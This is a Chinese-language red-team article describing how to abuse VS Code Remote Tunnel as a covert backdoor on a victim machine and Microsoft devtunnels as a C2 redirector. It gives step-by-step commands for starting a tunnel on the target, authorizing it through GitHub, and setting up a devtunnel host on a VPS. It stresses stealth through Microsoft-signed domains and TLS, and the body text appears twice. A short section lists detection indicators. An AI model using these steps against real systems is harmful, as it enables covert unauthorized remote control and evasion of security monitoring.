[白利用]VSCode还能这样用?
字数 1153 2025-08-24 07:48:34

利用VSCode Remote - Tunnel进行远程控制与C2通信的技术分析

0x00 概述

Visual Studio Code Remote - Tunnel扩展提供了一种通过安全隧道连接远程计算机的能力,这项功能可以被红队人员用于远程控制目标机器或作为C2通信的隐蔽通道。本文将详细介绍两种利用方式:直接远程控制和作为C2域前置。

0x01 作为远程控制工具使用

基本原理

VS Code Remote - Tunnel扩展允许通过安全隧道连接到远程计算机,无需SSH,可以从任何地方的VS Code客户端连接。

操作步骤

  1. 在受害机器上开启Tunnel

    • 前提:目标已安装VS Code
    • 执行命令:code tunnel
    • 系统会生成授权码(如:9222-1A1F)
    • 注意:此操作需要能访问VSCode官网(可能需要代理)
  2. GitHub授权

    • 访问URL: https://github.com/login/device
    • 使用GitHub账户登录并授权
    • 授权成功后控制台会显示连接成功信息
  3. 通过后门地址控制

    • 连接成功后会出现控制URL,格式如:https://vscode.dev/tunnel/desktop-21fnjqm
    • 连接成功后左下角会显示机器名
  4. 功能验证

    • 文件浏览:可以正常读取文件
    • 文件写入:可以写入文件
    • 命令执行:可以执行系统命令

目标未安装VSCode的解决方案

可以下载单文件版本的VSCode,同样可以正常使用此功能。

优点

  • 大厂证书,回连域名和IP为微软VS Code官方域名/IP
  • HTTPS加密,所有通信均为TLS加密
  • 操作简便,隐蔽性高

检测与防御

检测特征:

  1. 控制台有log日志记录
  2. 外联域名特征:
    • *.tunnels.api.visualstudio.com
    • *.devtunnels.ms
  3. 其他特征:
    • 固定进程名:code.exe
    • 参数名包含:tunnel
    • 创建进程行为默认为:cmd.exepowershell.exe

0x02 用作C2域前置

准备工作

  1. 在VPS上下载devtunnel工具

    wget https://aka.ms/TunnelsCliDownload/linux-x64
    mv linux-x64 devtunnel
    chmod +x devtunnel
    
  2. 开启隧道并认证

    ./devtunnel user login -g -d
    
  3. 创建隧道

    ./devtunnel create -a <隧道名称>
    ./devtunnel port create -p 8443 --protocol https
    ./devtunnel host
    

    系统会给出上线域名,格式如:505lmm60-8443.asse.devtunnels.ms

  4. 连接上线

    • 注意:由于连接的是vscode服务,可能需要代理才能成功上线

参考链接

0x03 总结

VS Code Remote - Tunnel功能提供了隐蔽的远程控制通道,利用微软官方域名和HTTPS加密的特性,可以有效规避传统安全设备的检测。防御方应关注相关网络连接特征和进程行为特征,建立相应的检测规则。

利用VSCode Remote - Tunnel进行远程控制与C2通信的技术分析 0x00 概述 Visual Studio Code Remote - Tunnel扩展提供了一种通过安全隧道连接远程计算机的能力,这项功能可以被红队人员用于远程控制目标机器或作为C2通信的隐蔽通道。本文将详细介绍两种利用方式:直接远程控制和作为C2域前置。 0x01 作为远程控制工具使用 基本原理 VS Code Remote - Tunnel扩展允许通过安全隧道连接到远程计算机,无需SSH,可以从任何地方的VS Code客户端连接。 操作步骤 在受害机器上开启Tunnel 前提:目标已安装VS Code 执行命令: code tunnel 系统会生成授权码(如:9222-1A1F) 注意:此操作需要能访问VSCode官网(可能需要代理) GitHub授权 访问URL: https://github.com/login/device 使用GitHub账户登录并授权 授权成功后控制台会显示连接成功信息 通过后门地址控制 连接成功后会出现控制URL,格式如: https://vscode.dev/tunnel/desktop-21fnjqm 连接成功后左下角会显示机器名 功能验证 文件浏览:可以正常读取文件 文件写入:可以写入文件 命令执行:可以执行系统命令 目标未安装VSCode的解决方案 可以下载单文件版本的VSCode,同样可以正常使用此功能。 优点 大厂证书,回连域名和IP为微软VS Code官方域名/IP HTTPS加密,所有通信均为TLS加密 操作简便,隐蔽性高 检测与防御 检测特征: 控制台有log日志记录 外联域名特征: *.tunnels.api.visualstudio.com *.devtunnels.ms 其他特征: 固定进程名: code.exe 参数名包含: tunnel 创建进程行为默认为: cmd.exe 和 powershell.exe 0x02 用作C2域前置 准备工作 在VPS上下载devtunnel工具 开启隧道并认证 创建隧道 系统会给出上线域名,格式如: 505lmm60-8443.asse.devtunnels.ms 连接上线 注意:由于连接的是vscode服务,可能需要代理才能成功上线 参考链接 Using Microsoft Dev Tunnels for C2 Redirection 相关YouTube视频 0x03 总结 VS Code Remote - Tunnel功能提供了隐蔽的远程控制通道,利用微软官方域名和HTTPS加密的特性,可以有效规避传统安全设备的检测。防御方应关注相关网络连接特征和进程行为特征,建立相应的检测规则。